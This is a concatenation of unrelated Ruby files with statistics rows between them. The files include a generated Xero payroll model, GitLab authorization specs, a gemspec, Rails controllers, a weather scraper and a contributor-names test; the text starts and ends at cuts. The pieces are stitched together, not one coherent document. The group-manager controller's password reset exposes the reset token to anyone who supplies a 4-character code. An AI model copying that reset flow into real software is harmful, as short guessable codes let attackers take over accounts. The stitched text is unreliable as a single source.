fail ArgumentError, "The input argument (attributes) must be a hash in `XeroRuby::PayrollUk::EmployeeStatutoryLeavesSummaries` initialize method"
end
# check to see if the attribute exists and convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h|
if (!self.class.attribute_map.key?(k.to_sym))
fail ArgumentError, "`#{k}` is not a valid attribute in `XeroRuby::PayrollUk::EmployeeStatutoryLeavesSummaries`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect
end
h[k.to_sym] = v
}
if attributes.key?(:'pagination')
self.pagination = attributes[:'pagination']
end
if attributes.key?(:'problem')
self.problem = attributes[:'problem']
end
if attributes.key?(:'statutory_leaves')
if (value = attributes[:'statutory_leaves']).is_a?(Array)
self.statutory_leaves = value
end
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
pagination == o.pagination &&
problem == o.problem &&
statutory_leaves == o.statutory_leaves
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Integer] Hash code
def hash
[pagination, problem, statutory_leaves].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def self.build_from_hash(attributes)
new.build_from_hash(attributes)
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.openapi_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(parse_date(value))
when :Date
Date.parse(parse_date(value))
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BigDecimal
BigDecimal(value.to_s)
when :Boolean
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
XeroRuby::PayrollUk.const_get(type).build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash(downcase: false)
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
key = downcase ? attr : param
hash[key] = _to_hash(value)
end
hash
end
# Returns the object in the form of hash with snake_case
def attributes
to_hash(downcase: true)
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
def parse_date(datestring)
if datestring.include?('Date')
seconds_since_epoch = datestring.scan(/[0-9]+/)[0].to_i / 1000.0
Time.at(seconds_since_epoch).utc.strftime('%Y-%m-%dT%H:%M:%S%z').to_s
else # handle date 'types' for small subset of payroll API's
Time.parse(datestring).strftime('%Y-%m-%dT%H:%M:%S').to_s
end
end
end
end
| 30.267782 | 231 | 0.627039 |
ed6ca9c9c91866eaa654edafc543724092d97a7c | 118 | module ActiveIdentity
module AccountAdapters
class AbstractAccount
attr :user, true
end
end
end
| 9.833333 | 25 | 0.694915 |
261e44bc5fa0928e65e6205b36aa85da54f06930 | 7,999 | # frozen_string_literal: true
require 'spec_helper'
describe Gitlab::ProjectAuthorizations do
def map_access_levels(rows)
rows.each_with_object({}) do |row, hash|
hash[row.project_id] = row.access_level
end
end
subject(:authorizations) do
described_class.new(user).calculate
end
context 'user added to group and project' do
let(:group) { create(:group) }
let!(:other_project) { create(:project) }
let!(:group_project) { create(:project, namespace: group) }
let!(:owned_project) { create(:project) }
let(:user) { owned_project.namespace.owner }
before do
other_project.add_reporter(user)
group.add_developer(user)
end
it 'returns the correct number of authorizations' do
expect(authorizations.length).to eq(3)
end
it 'includes the correct projects' do
expect(authorizations.pluck(:project_id))
.to include(owned_project.id, other_project.id, group_project.id)
end
it 'includes the correct access levels' do
mapping = map_access_levels(authorizations)
expect(mapping[owned_project.id]).to eq(Gitlab::Access::MAINTAINER)
expect(mapping[other_project.id]).to eq(Gitlab::Access::REPORTER)
expect(mapping[group_project.id]).to eq(Gitlab::Access::DEVELOPER)
end
end
context 'unapproved access request' do
let_it_be(:group) { create(:group) }
let_it_be(:user) { create(:user) }
subject(:mapping) { map_access_levels(authorizations) }
context 'group membership' do
let!(:group_project) { create(:project, namespace: group) }
before do
create(:group_member, :developer, :access_request, user: user, group: group)
end
it 'does not create authorization' do
expect(mapping[group_project.id]).to be_nil
end
end
context 'inherited group membership' do
let!(:sub_group) { create(:group, parent: group) }
let!(:sub_group_project) { create(:project, namespace: sub_group) }
before do
create(:group_member, :developer, :access_request, user: user, group: group)
end
it 'does not create authorization' do
expect(mapping[sub_group_project.id]).to be_nil
end
end
context 'project membership' do
let!(:group_project) { create(:project, namespace: group) }
before do
create(:project_member, :developer, :access_request, user: user, project: group_project)
end
it 'does not create authorization' do
expect(mapping[group_project.id]).to be_nil
end
end
context 'shared group' do
let!(:shared_group) { create(:group) }
let!(:shared_group_project) { create(:project, namespace: shared_group) }
before do
create(:group_group_link, shared_group: shared_group, shared_with_group: group)
create(:group_member, :developer, :access_request, user: user, group: group)
end
it 'does not create authorization' do
expect(mapping[shared_group_project.id]).to be_nil
end
end
context 'shared project' do
let!(:another_group) { create(:group) }
let!(:shared_project) { create(:project, namespace: another_group) }
before do
create(:project_group_link, group: group, project: shared_project)
create(:group_member, :developer, :access_request, user: user, group: group)
end
it 'does not create authorization' do
expect(mapping[shared_project.id]).to be_nil
end
end
end
context 'with nested groups' do
let(:group) { create(:group) }
let!(:nested_group) { create(:group, parent: group) }
let!(:nested_project) { create(:project, namespace: nested_group) }
let(:user) { create(:user) }
before do
group.add_developer(user)
end
it 'includes nested groups' do
expect(authorizations.pluck(:project_id)).to include(nested_project.id)
end
it 'inherits access levels when the user is not a member of a nested group' do
mapping = map_access_levels(authorizations)
expect(mapping[nested_project.id]).to eq(Gitlab::Access::DEVELOPER)
end
it 'uses the greatest access level when a user is a member of a nested group' do
nested_group.add_maintainer(user)
mapping = map_access_levels(authorizations)
expect(mapping[nested_project.id]).to eq(Gitlab::Access::MAINTAINER)
end
end
context 'with shared groups' do
let(:parent_group_user) { create(:user) }
let(:group_user) { create(:user) }
let(:child_group_user) { create(:user) }
let_it_be(:group_parent) { create(:group, :private) }
let_it_be(:group) { create(:group, :private, parent: group_parent) }
let_it_be(:group_child) { create(:group, :private, parent: group) }
let_it_be(:shared_group_parent) { create(:group, :private) }
let_it_be(:shared_group) { create(:group, :private, parent: shared_group_parent) }
let_it_be(:shared_group_child) { create(:group, :private, parent: shared_group) }
let_it_be(:project_parent) { create(:project, group: shared_group_parent) }
let_it_be(:project) { create(:project, group: shared_group) }
let_it_be(:project_child) { create(:project, group: shared_group_child) }
before do
group_parent.add_owner(parent_group_user)
group.add_owner(group_user)
group_child.add_owner(child_group_user)
create(:group_group_link, shared_group: shared_group, shared_with_group: group)
end
context 'group user' do
let(:user) { group_user }
it 'creates proper authorizations' do
mapping = map_access_levels(authorizations)
expect(mapping[project_parent.id]).to be_nil
expect(mapping[project.id]).to eq(Gitlab::Access::DEVELOPER)
expect(mapping[project_child.id]).to eq(Gitlab::Access::DEVELOPER)
end
end
context 'with lower group access level than max access level for share' do
let(:user) { create(:user) }
it 'creates proper authorizations' do
group.add_reporter(user)
mapping = map_access_levels(authorizations)
expect(mapping[project_parent.id]).to be_nil
expect(mapping[project.id]).to eq(Gitlab::Access::REPORTER)
expect(mapping[project_child.id]).to eq(Gitlab::Access::REPORTER)
end
end
context 'parent group user' do
let(:user) { parent_group_user }
it 'creates proper authorizations' do
mapping = map_access_levels(authorizations)
expect(mapping[project_parent.id]).to be_nil
expect(mapping[project.id]).to be_nil
expect(mapping[project_child.id]).to be_nil
end
end
context 'child group user' do
let(:user) { child_group_user }
it 'creates proper authorizations' do
mapping = map_access_levels(authorizations)
expect(mapping[project_parent.id]).to be_nil
expect(mapping[project.id]).to be_nil
expect(mapping[project_child.id]).to be_nil
end
end
context 'user without accepted access request' do
let!(:user) { create(:user) }
it 'does not have access to group and its projects' do
create(:group_member, :developer, :access_request, user: user, group: group)
mapping = map_access_levels(authorizations)
expect(mapping[project_parent.id]).to be_nil
expect(mapping[project.id]).to be_nil
expect(mapping[project_child.id]).to be_nil
end
end
context 'unrelated project owner' do
let(:common_id) { non_existing_record_id }
let!(:group) { create(:group, id: common_id) }
let!(:unrelated_project) { create(:project, id: common_id) }
let(:user) { unrelated_project.owner }
it 'does not have access to group and its projects' do
mapping = map_access_levels(authorizations)
expect(mapping[project_parent.id]).to be_nil
expect(mapping[project.id]).to be_nil
expect(mapping[project_child.id]).to be_nil
end
end
end
end
| 31.742063 | 96 | 0.675834 |
ed1ce0a19dc9cd28a0cc1e580b99866127c55820 | 1,273 | Gem::Specification.new do |spec|
spec.name = 'lita-onewheel-slack-take-it-back'
spec.version = '0.0.0'
spec.authors = ['Andrew Kreps']
spec.email = ['[email protected]']
spec.description = 'Enables a "Take that back" feature on your slack bot.'
spec.summary = "Just in case your bot, you know, says something it shouldn't."
spec.homepage = 'https://github.com/onewheelskyward/lita-onewheel-slack-take-it-back'
spec.license = 'MIT'
spec.metadata = { 'lita_plugin_type' => 'handler' }
spec.files = `git ls-files`.split($/)
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ['lib']
spec.add_runtime_dependency 'lita', '~> 4'
spec.add_development_dependency 'bundler', '~> 1.3'
# spec.add_development_dependency 'pry-byebug', '~> 3.1'
spec.add_development_dependency 'rake', '~> 11'
spec.add_development_dependency 'rack-test', '~> 0.6'
spec.add_development_dependency 'rspec', '~> 3'
spec.add_development_dependency 'simplecov', '~> 0.13'
spec.add_development_dependency 'coveralls', '~> 0.8'
# spec.add_development_dependency 'rest-client', '~> 1'
end
| 43.896552 | 92 | 0.659073 |
2647a55aa36a6cb5f63c3f14247c47370fbc9238 | 674 | class EventsController < ApplicationController
include EventsHelper
def new
@event = Event.new
end
def show
@event = Event.find(params[:id])
@attendees = @event.attendees
end
def create
@user = User.find(session[:current_user_id])
@event = @user.created_events.build(event_params)
if @event.save
@user.attended_events << @event
redirect_to @user, notice: 'Event created successfully'
else
render :new
end
end
def index
@past_events = Event.past.all
@upcoming_events = Event.upcoming.all
end
private
def event_params
params.require(:event).permit(:name, :description, :date)
end
end
| 19.257143 | 61 | 0.676558 |
e8a13bf76ac5a574547d0235a020fc17180dafa0 | 1,479 | # == Schema Information
#
# Table name: sources
#
# id :integer not null, primary key
# type :string(255)
# url :string(255)
# name :string(255)
# value :integer
# created_at :datetime not null
# updated_at :datetime not null
# logo_file_name :string(255)
# logo_content_type :string(255)
# logo_file_size :integer
# logo_updated_at :datetime
# full_text_selector :string(255)
# error :boolean
# multiplicator :float default(1.0)
# lsr_active :boolean default(FALSE)
# deactivated :boolean default(FALSE)
# default_category_id :integer
# lsr_confirmation_file_name :string
# lsr_confirmation_content_type :string
# lsr_confirmation_file_size :integer
# lsr_confirmation_updated_at :datetime
# twitter_account :string
# language :string
# comment :text
# filter_rules :text
# statistics :json
# error_message :text
#
class PodcastSource < FeedSource
self.description = <<~DOC
Funktioniert genau wie eine FeedSource, aber wird anders dargestellt.
DOC
end
| 37.923077 | 73 | 0.50169 |
aba541c4b4a1ddf82e64117fc38eb5e1b2f36681 | 1,882 | require 'oga'
require 'open-uri'
require_relative 'name_mapping'
module WeatherScraper
# parse daily weather description from cwb website
class DailyWeather
include NameMapping
CWB_URL = "http://www.cwb.gov.tw"
CITY_WEATHER_URL = "#{CWB_URL}/V7/forecast/taiwan/"
def initialize(city)
@city = city_mapping(city).delete("_")
parse_html(city_mapping(city))
end
def city
@city
end
def weathers
@weathers ||= parse_weathers
end
def tips
@tips ||= parse_tips
end
private
def parse_html(city)
url = "#{CITY_WEATHER_URL}/#{city}.htm"
@document = Oga.parse_html(open(url))
end
def parse_weathers
data = @document.xpath("//table[@class='FcstBoxTable01']")
data[2].children[3].children.map do |weathers|
timestamp= weathers.children[1].children.text.force_encoding('UTF-8')
temperature = weathers.children[3].children.text
rain_probability = weathers.children[9].children.text
condition = weathers.children[5].children[1].attributes[1].value.force_encoding('UTF-8')
[timestamp,
{"temperature" => temperature,
"rain_probability" => rain_probability,
"condition" => condition}]
end.to_h
end
def parse_tips
data = @document.xpath("//div[@id='box8']")
tips_api = data[0].children[13].children[0].text.split("'")[1]
tips_url = "#{CWB_URL}/#{tips_api}"
tips_doc = Oga.parse_html(open(tips_url))
result = ""
tips_doc.children.each do |element|
if element.text.empty?
result << "\n"
elsif element.text.split(":")[0].force_encoding('UTF-8') == "更新時間"
break
else
result << element.text
end
end
result = result.gsub("\n\n","\n")
result.force_encoding('UTF-8')
end
end
end
| 26.885714 | 96 | 0.614772 |
acf7156e455b6951c94fc7c21d09a773bcb52a83 | 7,504 | class GroupManagersController < ApplicationController
before_action :authenticate_admin!, only: [:index]
before_action :set_app, only: [:index]
before_action :check_authenticated_admin_or_manager, only: [:show, :add_manager_permission,:is_manager_permitted, :remove_manager_permission]
before_action :set_manager_and_group, only: [:is_manager_permitted, :add_manager_permission, :remove_manager_permission]
before_action :set_group_manager, only: [:destroy, :update]
load_and_authorize_resource :except => [:show, :email_reset_password, :reset_password, :show_reset_token]
# GET /group_managers/
def index
render json: @app.group_managers
end
# GET /group_managers/:id
def show
# Validates only admins or the manager can see a certain manager
if current_admin.nil? && current_group_manager != GroupManager.find(params[:id])
return render json: GroupManager.new()
end
@group_manager = GroupManager.find(params[:id])
if @group_manager[:password_godata]
begin
crypt = ActiveSupport::MessageEncryptor.new(ENV['GODATA_KEY'])
@group_manager.password_godata = crypt.decrypt_and_verify(@group_manager.password_godata)
rescue
end
end
render json: @group_manager
end
# GET /group_managers/:manager_id/:group_id
def is_manager_permitted
is_permitted = @manager.is_permitted?(@group)
render json: { is_permitted: is_permitted, group: @group.get_path(string_only=true).join('/') }, status: :ok
end
def update
if params[:group_manager][:vigilance_syndromes]
@hashes = params[:group_manager][:vigilance_syndromes].each { |vs| vs.to_s }
return if validate_hashes
@group_manager.update_attribute(:vigilance_syndromes, @hashes)
end
if params[:group_manager][:password_godata]
crypt = ActiveSupport::MessageEncryptor.new(ENV['GODATA_KEY'])
encrypted_password = crypt.encrypt_and_sign(params[:group_manager][:password_godata])
@group_manager.update_attribute(:password_godata, encrypted_password)
end
errors = {}
update_params.except(:password_godata).each do |param|
begin
@group_manager.update_attribute(param[0], param[1])
rescue ActiveRecord::InvalidForeignKey
errors[param[0]] = param[1].to_s + ' não foi encontrado'
rescue StandardError => msg
errors[param[0]] = msg
end
end
if errors.length == 0
@group_manager.update_attribute(:updated_by, current_devise_user.email)
render json: @group_manager
else
render json: {errors: errors, group_manager: @group_manager}, status: :unprocessable_entity
end
end
def destroy
@group_manager.destroy!
end
def email_reset_password
@group_manager = GroupManager.find_by_email(params[:email])
aux_code = rand(36**4).to_s(36)
reset_password_token = rand(36**10).to_s(36)
@group_manager.update_attribute(:aux_code, aux_code)
@group_manager.update_attribute(:reset_password_token, reset_password_token)
if @group_manager.present?
GroupManagerMailer.reset_password_email(@group_manager).deliver
end
render json: {message: "Email enviado com sucesso"}, status: :ok
end
def show_reset_token
group_manager = GroupManager.where(aux_code: params[:code]).first
if group_manager.present?
render json: {reset_password_token: group_manager.reset_password_token}, status: :ok
else
render json: {error: true, message: "Codigo invalido"}, status: :bad_request
end
end
def reset_password
@group_manager = GroupManager.where(reset_password_token: params[:reset_password_token]).first
if @group_manager.present?
if @group_manager.reset_password(params[:password], params[:password_confirmation])
render json: {error: false, message: "Senha redefinida com sucesso"}, status: :ok
else
render json: {error: true, data: @group_manager.errors}, status: :bad_request
end
else
render json: {error: true, message: "Token invalido"}, status: :bad_request
end
end
private
# Use callbacks to share common setup or constraints between actions.
def set_app
@app = App.find current_admin.app_id
end
def set_manager_and_group
@manager = GroupManager.find(params[:group_manager_id])
@group = Group.find(params[:group_id])
end
def set_group_manager
@group_manager = GroupManager.find(params[:id])
end
def group_manager_params
params.require(:group_manager).permit(
:email,
:password,
:name,
:group_name,
:twitter,
:require_id,
:id_code_length,
:vigilance_email,
:vigilance_syndromes,
:url_godata,
:username_godata,
:password_godata,
:first_access,
:app_id,
)
end
def update_params
params.require(:group_manager).permit(
:email,
:password,
:name,
:group_name,
:twitter,
:require_id,
:id_code_length,
:vigilance_email,
:url_godata,
:username_godata,
:password_godata,
:userid_godata,
:first_access,
:app_id,
)
end
def check_authenticated_admin_or_manager
if current_admin.nil? && current_group_manager.nil?
return render json: {}, status: :ok
end
end
def validate_hashes
ids = []
@hashes.each do |h|
if ids.include? h[:syndrome_id]
return render json: {errors: "Duplicated key syndrome_id"}, status: :unprocessable_entity
elsif not h.key?("syndrome_id")
return render json: {errors: "Missing key syndrome_id"}, status: :unprocessable_entity
end
ids.append(h[:syndrome_id])
end
return false
end
end
# THIS IS A GROUP MANAGER PERMISSION GIVING SYSTEM
# For now, as this feature is complex, this is comented. In the future, this will be patched to
# be safe.
# # GET /group_managers/:manager_id/:group_id/permit
# def add_manager_permission
# # Validate either admin or manager with sufficient permissions
# if current_admin != nil || (current_manager != nil && current_manager.is_permitted?(@group))
# ManagerGroupPermission::permit(@manager, @group)
# return render json: { error: false }, status: :ok
# end
# return render json: { error: true, message: 'Not enough permitions' }, status: :ok
# end
# # GET /group_managers/:manager_id/:group_id/unpermit
# def remove_manager_permission
# # Validate either admin or manager with sufficient permissions
# if @manager == current_manager
# return render json: { error: true, message: 'Cannot unpermit yourself' }, status: :ok
# end
# if current_admin != nil || (current_manager != nil && current_manager.is_permitted?(@group))
# ManagerGroupPermission.where(group_id: @group.id, manager_id: @manager.id).all.each do |p|
# p.destroy
# end
# return render json: { error: false }, status: :ok
# end
# return render json: { error: true, message: 'Not enough permitions' }, status: :ok
# end
# # GET /group_managers/:group_id/get_users
# def get_users_in_manager_group
# end
# # DELETE /group_managers/:group_id/:user_id/remove_user_from_group
# def remove_user_in_manager_group
# end
# # DELETE /group_managers/:group_id/:user_id/add_user_to_group
# def add_users_in_manager_group
# end | 33.801802 | 143 | 0.686034 |
33df519bf7867c1b5eda8a250d7a0e37f38399dc | 59 | # frozen_string_literal: true
module ActivitiesHelper
end
| 11.8 | 29 | 0.847458 |
33a3c0973623af5deab04045fcafa1e388ee2b77 | 119,423 | require 'test_helper'
module Credits
class CanonicalNamesTest < ActiveSupport::TestCase
include AssertContributorNames
test 'タコ焼き仮面' do
assert_contributor_names '84403ae', 'Takoyaki Kamen'
end
test '松田 明' do
assert_contributor_names 'bb33432', 'Akira Matsuda'
end
test '簡煒航' do
assert_contributor_names 'c32978d', 'Tony Jian'
end
test '簡煒航 (Jian Weihang)' do
assert_contributor_names '4459576', '簡煒航 (Jian Weihang)'
end
test '1334' do
assert_contributor_names '47d95c8', 'Iñigo Solano Pàez'
end
test '90yukke' do
assert_contributor_names 'b289519', 'Alexander Karmes'
end
test '_tiii' do
assert_contributor_names 'a4b02be', 'Titus Ramczykowski'
end
test 'Aaron' do
assert_contributor_names '1477a61', 'Aaron Eisenberger'
end
test 'aarongray' do
assert_contributor_names 'b30805b', 'Aaron Gray'
end
test 'abhay' do
assert_contributor_names '3353b85', 'Abhay Kumar'
end
test 'abonec' do
assert_contributor_names '20519ef', 'Alexander Baronec'
end
test 'acapilleri' do
assert_contributor_names 'c08c468', 'Angelo Capilleri'
end
test 'Accessd' do
assert_contributor_names 'db25ca7', 'Andrey Morskov'
end
test 'acechase' do
assert_contributor_names '331d9c0', 'Andrew Chase'
end
test 'Adam' do
assert_contributor_names '5dc1f09', 'Adam Magan'
end
test "adam\100the-kramers.net" do
assert_contributor_names '01cfd2b', 'Adam Kramer'
end
test 'Adam89' do
assert_contributor_names '52720b4', 'Adam Magan'
end
test 'adamj' do
assert_contributor_names '4d96ece', 'Adam Johnson'
end
test "adamm\100galacticasoftware.com" do
assert_contributor_names '10a86b2', 'Adam Majer'
end
test 'adamwiggins' do
assert_contributor_names 'ee6b607', 'Adam Wiggins'
end
test "adelle\100bullet.net.au" do
assert_contributor_names '101968f', 'Adelle Hartley'
end
test 'Aditya' do
assert_contributor_names 'd67adf1', 'Aditya Chadha'
end
test 'aditya-kapoor' do
assert_contributor_names '426f42c', 'Aditya Kapoor'
end
test 'adman65' do
assert_contributor_names '7dfa8c0', 'Adam Hawkins'
end
test 'adymo' do
assert_contributor_names '9d03813', 'Alexander Dymo'
end
test 'aeden' do
assert_contributor_names 'c9770d8', 'Anthony Eden'
end
test 'Agis-' do
assert_contributor_names '666a248', 'Agis Anastasopoulos'
end
test 'agius' do
assert_contributor_names '1ff67d8', 'Andrew Evans'
end
test 'aguynamedryan' do
assert_contributor_names '4eaa8ba', 'Ryan Duryea'
end
test 'aiwilliams' do
assert_contributor_names 'dd605e9', 'Adam Williams'
end
test 'akaspick' do
assert_contributor_names '0d82b14', 'Andrew Kaspick'
end
test "akaspick\100gmail.com" do
assert_contributor_names 'e30699f', 'Andrew Kaspick'
end
test 'Akshay' do
assert_contributor_names '4d62704', 'Akshay Mohite'
end
test 'Akshat Sharma' do
assert_contributor_names '2438a1c', 'Pramod Sharma'
end
test 'alancfrancis' do
assert_contributor_names '0b45b89', 'Alan Francis'
end
test "alancfrancis\100gmail.com" do
assert_contributor_names 'dfd0bdf', 'Alan Francis'
end
test 'Alan Tan' do
assert_contributor_names 'c9430db', 'Guo Xiang Tan'
end
test 'Alberto Almagro Sotelo' do
assert_contributor_names '5c62bd5', 'Gannon McGibbon', 'Alberto Almagro'
end
test 'Aleksey Kondratenko' do
assert_contributor_names 'a9113b8', 'Aliaksey Kandratsenka'
end
test "alex.borovsky\100gmail.com" do
assert_contributor_names 'f1a01c8', 'Alexander Borovsky'
end
test "alex\100byzantine.no" do
assert_contributor_names 'ad63c96', 'Alexander Staubo'
end
test "alex\100msgpad.com" do
assert_contributor_names '4277568', 'Alex Pooley'
end
test "alex\100purefiction.net" do
assert_contributor_names 'd016d9a', 'Alexander Staubo'
end
test 'Alexander' do
assert_contributor_names 'bdcc271', 'Alexander Baronec'
assert_contributor_names '9e39dc4', 'Alexander Baronec'
assert_contributor_names '7c643d9', 'Alexander Quine'
assert_contributor_names 'ca6a12d', 'Dembskiy Alexander'
end
test 'alexbel' do
assert_contributor_names '6aaf4bf', 'Alexander Belaev'
end
test 'alexch' do
assert_contributor_names '2559feb', 'Alex Chaffee'
end
test 'Alexey' do
assert_contributor_names 'd336ca5', 'Alexey Zatsepin'
end
test 'alexey' do
assert_contributor_names '52fe604', 'Alexey Zatsepin'
end
test 'Alexey Markov' do
assert_contributor_names '0c85705', 'Markov Alexey'
end
test "alexkwolfe\100gmail.com" do
assert_contributor_names 'b5c2366', 'Alex Wolfe'
end
test 'alfa-jpn' do
assert_contributor_names '9bd4386', 'Atsushi Nakamura'
end
test 'alimi' do
assert_contributor_names '6b5df90', 'Ali Ibrahim'
end
test 'alkesh26' do
assert_contributor_names '393566c', 'Alkesh Ghorpade'
end
test 'alkeshghorpade' do
assert_contributor_names 'aed448c', 'Alkesh Ghorpade'
end
test "alles\100atomicobject.com" do
assert_contributor_names '68dfe3e', 'Micah Alles'
end
test 'alloy' do
assert_contributor_names '4d1c87a', 'Eloy Duran'
end
test 'ambethia' do
assert_contributor_names '18c663e', 'Jason L Perry'
end
test 'amishyn' do
assert_contributor_names 'e32149a', 'Alex Mishyn'
end
test 'amitkumarsuroliya' do
assert_contributor_names '44e94a3', 'Amit Kumar Suroliya'
end
test 'anamba' do
assert_contributor_names '6ccbef5', 'Aaron Namba'
end
test 'Anand' do
assert_contributor_names '25f60cc', 'Anand Muthukrishnan'
end
test 'Anatoly Makarevich' do
assert_contributor_names 'fce0d08', 'Anatoli Makarevich'
end
test 'andrea longhi' do
assert_contributor_names 'd7f0e43', 'Andrea Longhi'
end
test 'Andrew' do
assert_contributor_names '3d6ed50', 'Andrew Chase'
end
test "andrew.john.peters\100gmail.com" do
assert_contributor_names '03097d3', 'Andrew Peters'
end
test "andrew\100redlinesoftware.com" do
assert_contributor_names 'd3cf2a6', 'Andrew Kaspick'
end
test "andrey.nering\100gmail.com" do
assert_contributor_names '6d59473', 'Andrey Nering'
end
test "andy\100tinnedfruit.org" do
assert_contributor_names 'ab7c7a8', 'Andrew A. Smith'
end
test "andylien\100gmail.com" do
assert_contributor_names '35240ba', 'Andy Lien'
end
test 'Angelo capilleri' do
assert_contributor_names 'b97e0a1', 'Angelo Capilleri'
end
test 'angelo giovanni capilleri' do
assert_contributor_names '64af96b', 'Angelo Capilleri'
end
test 'anilmaurya' do
assert_contributor_names '41722dd', 'Anil Kumar Maurya'
end
test 'Ankit Gupta-FIR' do
assert_contributor_names '6a71d09', 'Ankit Gupta'
end
test 'ankit1910' do
assert_contributor_names '3900671', 'Ankit Bansal'
end
test 'ankit8898' do
assert_contributor_names '46a0eac', 'Ankit Gupta'
end
test 'Ankit gupta' do
assert_contributor_names '72c5b5', 'Ankit Gupta'
end
test 'anna' do
assert_contributor_names '9326222', 'maiha'
end
test "anna\100wota.jp" do
assert_contributor_names 'e72ff35', 'maiha'
end
test 'AnnaErshova' do
assert_contributor_names '0166adc', 'Anna Ershova'
end
test 'anshkakashi' do
assert_contributor_names 'ab09984', 'Jason Ketterman'
end
test 'Anthony' do
assert_contributor_names '78f5874', 'Anthony Alberto'
end
test 'anthonynavarre' do
assert_contributor_names 'bdc5141', 'Anthony Navarre'
end
test 'Anton' do
assert_contributor_names 'f0ae503', 'Tõnis Simo'
end
test 'Antonio Tapiador' do
assert_contributor_names '5dd80db', 'Antonio Tapiador del Dujo'
end
test 'antramm' do
assert_contributor_names '083b0b7', 'Ant Ramm'
end
test 'anuj dutta' do
assert_contributor_names 'd572bf9', 'Anuj Dutta'
end
test 'aquajach' do
assert_contributor_names 'c0eb542', 'aquajach'
end
test 'ara.t.howard' do
assert_contributor_names '99c08c7', 'Ara T Howard'
end
test "arc\100uchicago.edu" do
assert_contributor_names '5177333', 'Shu-yu Guo'
end
test 'ariabov' do
assert_contributor_names '34a3d42', 'Alex Riabov'
end
test 'ariejan' do
assert_contributor_names '388e5d3', 'Ariejan de Vroom'
end
test 'arktisklada' do
assert_contributor_names 'd8bd9cf', 'Clayton Liggitt'
end
test 'Arsen7' do
assert_contributor_names 'f756bfb', 'Mariusz Pękala'
end
test 'artemave' do
assert_contributor_names '6c5a3bb', 'Artem Avetisyan'
end
test 'artemk' do
assert_contributor_names 'b386951', 'Artem Kramarenko'
end
test 'Arthur Nogueira Neves' do
assert_contributor_names '5772ffe', 'Arthur Neves'
end
test 'arthurgeek' do
assert_contributor_names '6ddde02', 'Arthur Zapparoli'
end
test 'arton' do
assert_contributor_names 'c11e78c', 'Akio Tajima'
end
test 'arvida' do
assert_contributor_names '2a7230a', 'Arvid Andersson'
end
test 'arvind' do
assert_contributor_names 'dad0c26', 'Arvind Mehra'
end
test 'Ashe Connor' do
assert_contributor_names '8f5f2bf', 'Asherah Connor'
end
test "ask\100develooper.com" do
assert_contributor_names '17ef706', 'Ask Bjørn Hansen'
end
test 'asmega' do
assert_contributor_names '61fa600', 'Phil Lee'
end
test 'Assaf' do
assert_contributor_names '87ef365', 'Assaf Arkin'
end
test "assaf.arkin\100gmail.com" do
assert_contributor_names '3142502', 'Assaf Arkin'
end
test 'athonlab' do
assert_contributor_names 'ce2eadb', 'AthonLab'
end
test "augustz\100augustz.com" do
assert_contributor_names '3d99d33', 'August Zajonc'
end
test 'AvnerCohen' do
assert_contributor_names 'd20a529', 'Avner Cohen'
end
test 'awilliams' do
assert_contributor_names 'b045b5c', 'Adam Williams'
end
test 'Ayose' do
assert_contributor_names '6ad8f6e', 'Ayose Cazorla'
end
test 'Azzurrio' do
assert_contributor_names '80e8259', 'Karim El-Husseiny'
end
test "babie7a0\100ybb.ne.jp" do
assert_contributor_names '9ded584', 'Michiaki Baba'
end
test 'backspace' do
assert_contributor_names '3b795c1', 'Ken Gerrard'
end
test 'bagwanpankaj' do
assert_contributor_names 'c424fb2', 'Bagwan Pankaj'
end
test 'Bart' do
assert_contributor_names 'c2f59f3', 'Bart de Water'
end
test 'Bas Van Klinkenberg' do
assert_contributor_names 'b99914c', 'Bas van Klinkenberg'
end
test 'Ben A. Morgan' do
